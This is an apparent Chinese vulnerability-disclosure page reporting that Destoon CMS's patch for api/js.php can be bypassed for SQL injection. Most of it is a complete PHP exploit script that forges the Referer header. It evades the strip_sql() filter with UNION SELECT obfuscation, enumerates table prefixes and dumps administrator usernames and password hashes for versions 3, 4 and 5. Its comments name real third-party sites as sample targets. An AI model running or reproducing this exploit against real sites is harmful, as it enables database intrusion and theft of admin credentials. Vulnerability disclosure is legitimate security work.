2013-11-25: 细节已通知厂商并且等待厂商处理中 2013-11-30: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放 2014-01-24: 细节向核心白帽子及相关领域专家公开 2014-02-03: 细节向普通白帽子公开 2014-02-13: 细节向实习白帽子公开 2014-02-20: 细节向公众公开
Destoon最新版本20131010补丁后,全版本继续注入
问题出在api/js.php这个漏洞,这个星期工作忙,结果别人提交了,官方补丁都出来了。下载补丁,发现官方的修复比较马虎,没有理解漏洞的本质,分分钟绕过再次注入。建议官方好好思考一下这个漏洞产生的根本原因。
strip_sql()过滤了union这个字符串,但是实际上是可以绕过的。由于需要伪造referer,所以用php写的脚本进行漏洞利用,需要根据实际情况修改里面的路径。POC里面host参数为域名,本机测试为localhost,ver参数为版本,里面写了3,4,5三个版本的利用代码。
<?php//curl "http://www.chinaseed114.com/api/js.php?moduleid=21&pagesize=100&condition=0/**/union\\/**/select\\/**/1,1,1,1,concat(0x7e,0x27,username,0x3a,password,0x27,0x7e),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20from%20destoon_member%20where%20admin=1--" --header "REFERER:www.chinaseed114.com"$host=$_GET['host'];$version=$_GET['ver'];if(!$host || !$version){exit("/api_js.php?host=localhost&ver=5");}if($host=="localhost"){ if($version==4) { $path="/destoon4/api"; //这个路径需要修改 //$url="/js.php?moduleid=21&pagesize=100&condition=0//***/union\\\\//***/select\\\\//***/1,1,1,1,concat(0x7e,0x27,username,0x3a,password,0x27,0x7e),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20from%20destoon4_member%20where%20admin=1--"; $url="/js.php?moduleid=21&pagesize=100&condition=0//***/union\\\\//***/select\\\\//***/1,1,1,1,GROUP_CONCAT(DISTINCT+table_name),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20from%20information_schema.columns%20where%20table_schema=database()--";//获取表前缀 $referer="http://".$host; $data=send_pack($referer);//伪造referer preg_match('/_ask,([0-9A-Za-z]*)_banip/i', $data, $admin_match); $prefix=$admin_match[1]; $url="/js.php?moduleid=21&pagesize=100&condition=0//***/union\\\\//***/select\\\\//***/1,1,1,1,concat(0x7e,0x27,username,0x3a,password,0x27,0x7e),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20from%20".$prefix."_member%20where%20admin=1--"; $referer="http://".$host; $data=send_pack($referer);//伪造referer var_dump($data); } elseif($version==5) { $path="/destoon/api"; //这个路径需要修改 //$url="/js.php?moduleid=21&pagesize=100&condition=0/**/union\\\\/**/select\\\\/**/1,1,1,1,concat(0x7e,0x27,username,0x3a,password,0x27,0x7e),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20from%20destoon_member%20where%20admin=1--"; $url="/js.php?moduleid=21&pagesize=1001&condition=0/**/un\\\\ion\\\\/**/select\\\\/**/1,1,1,1,GROUP_CONCAT(DISTINCT+tab\\\\le_name),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20from%20information_schema.columns%20where%20tab\\\\le_schema=database()--";//获取表前缀 $referer="http://".$host; $data=send_pack($referer);//伪造referer preg_match('/_ask,([0-9A-Za-z]*)_banip/i', $data, $admin_match); $prefix=$admin_match[1]; $url="/js.php?moduleid=21&pagesize=100&condition=0/**/uni\\\\on\\\\/**/select\\\\/**/1,1,1,1,concat(0x7e,0x27,username,0x3a,password,0x27,0x7e),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20from%20".$prefix."_member%20where%20admin=1--"; $referer="http://".$host; $data=send_pack($referer);//伪造referer var_dump($data); } elseif($version==3) { $path="/destoon3/api"; //$url="/js.php?moduleid=21&pagesize=100&condition=0//***/union\\\\//***/select\\\\//***/1,1,1,1,concat(0x7e,0x27,username,0x3a,password,0x27,0x7e),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20from%20destoon_member%20where%20admin=1--"; $url="/js.php?moduleid=21&pagesize=100&condition=0//***/union\\\\//***/select\\\\//***/1,1,1,GROUP_CONCAT(DISTINCT+table_name),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20from%20information_schema.columns%20where%20table_schema=database()--";//获取表前缀 $referer="http://".$host; $data=send_pack($referer);//伪造referer preg_match('/_ask,([0-9A-Za-z]*)_banip/i', $data, $admin_match); $prefix=$admin_match[1]; $url="/js.php?moduleid=21&pagesize=100&condition=0//***/union\\\\//***/select\\\\//***/1,1,1,concat(0x7e,0x27,username,0x3a,password,0x27,0x7e),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20from%20".$prefix."_member%20where%20admin=1--"; $referer="http://".$host; $data=send_pack($referer);//伪造referer var_dump($data); }}else{//$host="www.zhishifen.com"; if($version==4) { $path="/api";//$url="/js.php?moduleid=21&pagesize=100&condition=0//***/union\\\\//***/select\\\\//***/1,1,1,1,concat(0x7e,0x27,username,0x3a,password,0x27,0x7e),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20from%20destoon4_member%20where%20admin=1--"; $url="/js.php?moduleid=21&pagesize=100&condition=0//***/union\\\\//***/select\\\\//***/1,1,1,1,GROUP_CONCAT(DISTINCT+table_name),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20from%20information_schema.columns%20where%20table_schema=database()--";//获取表前缀 $referer="http://".$host; $data=send_pack($referer);//伪造referer preg_match('/_ask,([0-9A-Za-z]*)_banip/i', $data, $admin_match); $prefix=$admin_match[1]; $url="/js.php?moduleid=21&pagesize=100&condition=0//***/union\\\\//***/select\\\\//***/1,1,1,1,concat(0x7e,0x27,username,0x3a,password,0x27,0x7e),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20from%20".$prefix."_member%20where%20admin=1--"; $referer="http://".$host; $data=send_pack($referer);//伪造referer var_dump($data); } //http://localhost/poc/destoon/api_js.php?host=www.tuliao86.com&ver=5 elseif($version==5) { $path="/api";//$url="/js.php?moduleid=21&pagesize=100&condition=0/**/union\\\\/**/select\\\\/**/1,1,1,1,concat(0x7e,0x27,username,0x3a,password,0x27,0x7e),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20from%20destoon_member%20where%20admin=1--"; $url="/js.php?moduleid=21&pagesize=100&condition=0/**/union\\\\/**/select\\\\/**/1,1,1,1,GROUP_CONCAT(DISTINCT+table_name),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20from%20information_schema.columns%20where%20table_schema=database()--";//获取表前缀 $referer="http://".$host; $data=send_pack($referer);//伪造referer preg_match('/_ask,([0-9A-Za-z]*)_banip/i', $data, $admin_match); $prefix=$admin_match[1]; $url="/js.php?moduleid=21&pagesize=100&condition=0/**/union\\\\/**/select\\\\/**/1,1,1,1,concat(0x7e,0x27,username,0x3a,password,0x27,0x7e),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20from%20".$prefix."_member%20where%20admin=1--"; $referer="http://".$host; $data=send_pack($referer);//伪造referer var_dump($data); } elseif($version==3) { $path="/api"; //$url="/js.php?moduleid=21&pagesize=100&condition=0//***/union\\\\//***/select\\\\//***/1,1,1,1,concat(0x7e,0x27,username,0x3a,password,0x27,0x7e),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20from%20destoon_member%20where%20admin=1--"; $url="/js.php?moduleid=21&pagesize=100&condition=0//***/union\\\\//***/select\\\\//***/1,1,1,GROUP_CONCAT(DISTINCT+table_name),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20from%20information_schema.columns%20where%20table_schema=database()--";//获取表前缀 $referer="http://".$host; $data=send_pack($referer);//伪造referer preg_match('/_ask,([0-9A-Za-z]*)_banip/i', $data, $admin_match); $prefix=$admin_match[1]; $url="/js.php?moduleid=21&pagesize=100&condition=0//***/union\\\\//***/select\\\\//***/1,1,1,concat(0x7e,0x27,username,0x3a,password,0x27,0x7e),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20from%20".$prefix."_member%20where%20admin=1--"; $referer="http://".$host; $data=send_pack($referer);//伪造referer var_dump($data); }} function send_pack($cmd) { global $host, $path, $url; $data = "GET " . $path . "$url HTTP/1.1\r\n"; $data .= "Host: $host\r\n"; //$data .= "User-Agent: Baiduspider\r\n"; $data .= "Referer: " . $cmd . "\r\n"; $data .= "Connection: Close\r\n\r\n"; $fp = @fsockopen($host, 80, $errno, $errstr, 10); //echo ini_get('default_socket_timeout');//默认超时时间为60秒 if (!$fp) { echo $errno . '-->' . $errstr . "\n"; exit('Could not connect to: ' . $host); } else { fwrite($fp, $data); $back = ''; while (!feof($fp)) { $back .= fread($fp, 1024); } fclose($fp); } return $back; }
你们有程序牛
危害等级:无影响厂商忽略
忽略时间:2014-02-20 12:26
暂无